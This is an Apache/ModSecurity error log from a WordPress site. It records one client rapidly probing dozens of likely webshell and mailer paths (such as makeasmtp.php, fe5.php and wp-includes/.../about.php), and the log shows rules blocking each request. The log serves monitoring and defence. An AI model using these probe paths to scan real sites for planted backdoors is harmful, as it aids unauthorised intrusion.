[Thu Apr 23 16:20:02.687073 2026] [:error] [pid 59700:tid 59720] [client 20.216.153.175:56558] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fff.php"] [unique_id "aenWMpXyGZJFeAIDWtnpbwAAAVI"]
[Thu Apr 23 16:20:03.129517 2026] [:error] [pid 64998:tid 65026] [client 20.216.153.175:56513] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/uploads/"] [unique_id "aenWM4V5EysYcTLjmwjssgAAAdg"]
[Thu Apr 23 16:20:03.625387 2026] [:error] [pid 43083:tid 43093] [client 20.216.153.175:56562] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fff.php"] [unique_id "aenWMzC5hrvNXosL83JSyQAAAMg"]
[Thu Apr 23 16:20:03.885319 2026] [:error] [pid 42972:tid 43035] [client 20.216.153.175:22134] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/uploads/"] [unique_id "aenWM8OAb-3sOknsk4fMvwAAAFM"]
[Thu Apr 23 16:20:04.448063 2026] [:error] [pid 64967:tid 64987] [client 20.216.153.175:18692] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fff.php"] [unique_id "aenWNIAV4GfOOdX8QzpYeQAAAZI"]
[Thu Apr 23 16:20:04.651839 2026] [:error] [pid 42973:tid 43066] [client 20.216.153.175:22411] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/uploads/"] [unique_id "aenWNG6I0QqmmmLTHE3HTQAAAJc"]
[Thu Apr 23 16:20:05.252915 2026] [:error] [pid 42973:tid 43058] [client 20.216.153.175:31750] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/"] [unique_id "aenWNW6I0QqmmmLTHE3HTgAAAI8"]
[Thu Apr 23 16:20:05.553138 2026] [:error] [pid 25635:tid 25652] [client 20.216.153.175:40007] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp.php"] [unique_id "aenWNcRxv6UsgRGKB3IdsAAAAQ0"]
[Thu Apr 23 16:20:06.277848 2026] [:error] [pid 42973:tid 43047] [client 20.216.153.175:28822] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/"] [unique_id "aenWNm6I0QqmmmLTHE3HTwAAAIQ"]
[Thu Apr 23 16:20:06.310913 2026] [:error] [pid 42973:tid 43056] [client 20.216.153.175:12967] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp.php"] [unique_id "aenWNm6I0QqmmmLTHE3HUAAAAI0"]
[Thu Apr 23 16:20:06.981396 2026] [:error] [pid 65000:tid 65037] [client 20.216.153.175:40039] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/"] [unique_id "aenWNr6vRb9j6psK2Za-oAAAAgQ"]
[Thu Apr 23 16:20:07.229999 2026] [:error] [pid 42973:tid 43048] [client 20.216.153.175:28848] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp.php"] [unique_id "aenWN26I0QqmmmLTHE3HUwAAAIU"]
[Thu Apr 23 16:20:07.786693 2026] [:error] [pid 43083:tid 43104] [client 20.216.153.175:64645] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/"] [unique_id "aenWNzC5hrvNXosL83JSzAAAANM"]
[Thu Apr 23 16:20:07.917549 2026] [:error] [pid 46953:tid 46965] [client 20.216.153.175:26377] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp.php"] [unique_id "aenWN0nlpdHh-P6wKboHKgAAAkk"]
[Thu Apr 23 16:20:08.465875 2026] [:error] [pid 42971:tid 42992] [client 20.216.153.175:31794] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/we.php"] [unique_id "aenWODEP2_5RswrH8bELjQAAAAY"]
[Thu Apr 23 16:20:09.047082 2026] [:error] [pid 43083:tid 43100] [client 20.216.153.175:64667] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/js/fi.php"] [unique_id "aenWOTC5hrvNXosL83JSzgAAAM8"]
[Thu Apr 23 16:20:09.272541 2026] [:error] [pid 25635:tid 25660] [client 20.216.153.175:12968] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/we.php"] [unique_id "aenWOcRxv6UsgRGKB3IdtAAAARU"]
[Thu Apr 23 16:20:09.686936 2026] [:error] [pid 25635:tid 25639] [client 20.216.153.175:28804] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/js/fi.php"] [unique_id "aenWOcRxv6UsgRGKB3IdtQAAAQA"]
[Thu Apr 23 16:20:10.119405 2026] [:error] [pid 65000:tid 65042] [client 20.216.153.175:47985] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/we.php"] [unique_id "aenWOr6vRb9j6psK2Za-oQAAAgk"]
[Thu Apr 23 16:20:10.796407 2026] [:error] [pid 65000:tid 65038] [client 20.216.153.175:47966] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/js/fi.php"] [unique_id "aenWOr6vRb9j6psK2Za-ogAAAgU"]
[Thu Apr 23 16:20:10.929491 2026] [:error] [pid 42973:tid 43060] [client 20.216.153.175:36568] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/we.php"] [unique_id "aenWOm6I0QqmmmLTHE3HXAAAAJE"]
[Thu Apr 23 16:20:11.660707 2026] [:error] [pid 43083:tid 43098] [client 20.216.153.175:22440] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/js/fi.php"] [unique_id "aenWOzC5hrvNXosL83JS0AAAAM0"]
[Thu Apr 23 16:20:11.817008 2026] [:error] [pid 64998:tid 65009] [client 20.216.153.175:12955] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aenWO4V5EysYcTLjmwjstAAAAcc"]
[Thu Apr 23 16:20:12.472173 2026] [:error] [pid 42973:tid 43043] [client 20.216.153.175:60589] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aenWPG6I0QqmmmLTHE3HYAAAAIA"]
[Thu Apr 23 16:20:12.550299 2026] [:error] [pid 59700:tid 59721] [client 20.216.153.175:26419] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fe5.php"] [unique_id "aenWPJXyGZJFeAIDWtnpdAAAAVM"]
[Thu Apr 23 16:20:13.191296 2026] [:error] [pid 64967:tid 64969] [client 20.216.153.175:28832] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aenWPYAV4GfOOdX8QzpYfwAAAYA"]
[Thu Apr 23 16:20:13.344193 2026] [:error] [pid 59700:tid 59719] [client 20.216.153.175:31751] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fe5.php"] [unique_id "aenWPZXyGZJFeAIDWtnpdgAAAVE"]
[Thu Apr 23 16:20:14.168853 2026] [:error] [pid 42973:tid 43063] [client 20.216.153.175:64466] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fe5.php"] [unique_id "aenWPm6I0QqmmmLTHE3HYwAAAJQ"]
[Thu Apr 23 16:20:14.358072 2026] [:error] [pid 59700:tid 59717] [client 20.216.153.175:31781] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aenWPpXyGZJFeAIDWtnpeQAAAU8"]
[Thu Apr 23 16:20:15.134870 2026] [:error] [pid 42971:tid 43005] [client 20.216.153.175:5428] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fe5.php"] [unique_id "aenWPzEP2_5RswrH8bELkAAAABM"]
[Thu Apr 23 16:20:15.164670 2026] [:error] [pid 59700:tid 59726] [client 20.216.153.175:47944] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/admin1.php"] [unique_id "aenWP5XyGZJFeAIDWtnpegAAAVg"]
[Thu Apr 23 16:20:16.006973 2026] [:error] [pid 42973:tid 43046] [client 20.216.153.175:29851] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aenWQG6I0QqmmmLTHE3HZgAAAIM"]
[Thu Apr 23 16:20:16.046456 2026] [:error] [pid 42973:tid 43049] [client 20.216.153.175:12990] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/admin1.php"] [unique_id "aenWQG6I0QqmmmLTHE3HZwAAAIY"]
[Thu Apr 23 16:20:16.827702 2026] [:error] [pid 42972:tid 43024] [client 20.216.153.175:60561] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aenWQMOAb-3sOknsk4fMywAAAEg"]
[Thu Apr 23 16:20:16.880877 2026] [:error] [pid 42972:tid 43019] [client 20.216.153.175:47980] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/admin1.php"] [unique_id "aenWQMOAb-3sOknsk4fMzAAAAEM"]
[Thu Apr 23 16:20:21.975117 2026] [autoindex:error] [pid 42972:tid 43021] [client 20.216.153.175:28806] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 16:20:25.288416 2026] [autoindex:error] [pid 42972:tid 43040] [client 20.216.153.175:28806] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 16:20:36.416996 2026] [:error] [pid 42972:tid 43037] [client 20.216.153.175:12975] [client 20.216.153.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.gigfragments.org"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aenWVMOAb-3sOknsk4fM9wAAAFU"]
[Thu Apr 23 16:20:37.571675 2026] [:error] [pid 42972:tid 43030] [client 20.216.153.175:28806] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/av.php"] [unique_id "aenWVcOAb-3sOknsk4fM-AAAAE4"]
[Thu Apr 23 16:20:38.422060 2026] [:error] [pid 42972:tid 43028] [client 20.216.153.175:25476] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/av.php"] [unique_id "aenWVsOAb-3sOknsk4fM_gAAAEw"]
[Thu Apr 23 16:20:38.665918 2026] [:error] [pid 42973:tid 43067] [client 20.216.153.175:18694] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/f35.php"] [unique_id "aenWVm6I0QqmmmLTHE3HmAAAAJg"]
[Thu Apr 23 16:20:39.140126 2026] [:error] [pid 42973:tid 43056] [client 20.216.153.175:55939] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/av.php"] [unique_id "aenWV26I0QqmmmLTHE3HmgAAAI0"]
[Thu Apr 23 16:20:39.775807 2026] [:error] [pid 42973:tid 43061] [client 20.216.153.175:12987] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/av.php"] [unique_id "aenWV26I0QqmmmLTHE3HnQAAAJI"]
[Thu Apr 23 16:20:40.379672 2026] [:error] [pid 42973:tid 43047] [client 20.216.153.175:27750] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/abcd.php"] [unique_id "aenWWG6I0QqmmmLTHE3HoQAAAIQ"]
[Thu Apr 23 16:20:41.028187 2026] [:error] [pid 65000:tid 65031] [client 20.216.153.175:40017] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/abcd.php"] [unique_id "aenWWb6vRb9j6psK2Za-4gAAAgI"]
[Thu Apr 23 16:20:41.724800 2026] [:error] [pid 64998:tid 65024] [client 20.216.153.175:25474] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/abcd.php"] [unique_id "aenWWYV5EysYcTLjmwjs6wAAAdY"]
[Thu Apr 23 16:20:42.394764 2026] [:error] [pid 46953:tid 46974] [client 20.216.153.175:60583] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/abcd.php"] [unique_id "aenWWknlpdHh-P6wKboHWAAAAlI"]
[Thu Apr 23 16:20:43.111483 2026] [:error] [pid 64998:tid 65022] [client 20.216.153.175:47959] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fi.php"] [unique_id "aenWW4V5EysYcTLjmwjs7gAAAdQ"]
[Thu Apr 23 16:20:43.845036 2026] [:error] [pid 64967:tid 64978] [client 20.216.153.175:53140] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fi.php"] [unique_id "aenWW4AV4GfOOdX8QzpYoQAAAYk"]
[Thu Apr 23 16:20:44.557120 2026] [:error] [pid 25635:tid 25645] [client 20.216.153.175:36558] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fi.php"] [unique_id "aenWXMRxv6UsgRGKB3IdvAAAAQY"]
[Thu Apr 23 16:20:45.140270 2026] [:error] [pid 42973:tid 43046] [client 20.216.153.175:55980] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fi.php"] [unique_id "aenWXW6I0QqmmmLTHE3HpgAAAIM"]
[Thu Apr 23 16:20:46.249701 2026] [:error] [pid 42973:tid 43062] [client 20.216.153.175:20819] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/a1.php"] [unique_id "aenWXm6I0QqmmmLTHE3HqwAAAJM"]
[Thu Apr 23 16:20:46.951710 2026] [:error] [pid 42971:tid 42997] [client 20.216.153.175:50781] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/a1.php"] [unique_id "aenWXjEP2_5RswrH8bELkwAAAAs"]
[Thu Apr 23 16:20:47.603977 2026] [:error] [pid 42971:tid 43004] [client 20.216.153.175:47976] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/a1.php"] [unique_id "aenWXzEP2_5RswrH8bELlAAAABI"]
[Thu Apr 23 16:20:48.757597 2026] [:error] [pid 64998:tid 65021] [client 20.216.153.175:64486] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/a1.php"] [unique_id "aenWYIV5EysYcTLjmwjs9AAAAdM"]
[Thu Apr 23 16:20:49.506184 2026] [:error] [pid 64967:tid 64987] [client 20.216.153.175:47964] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/update/f35.php"] [unique_id "aenWYYAV4GfOOdX8QzpYpQAAAZI"]
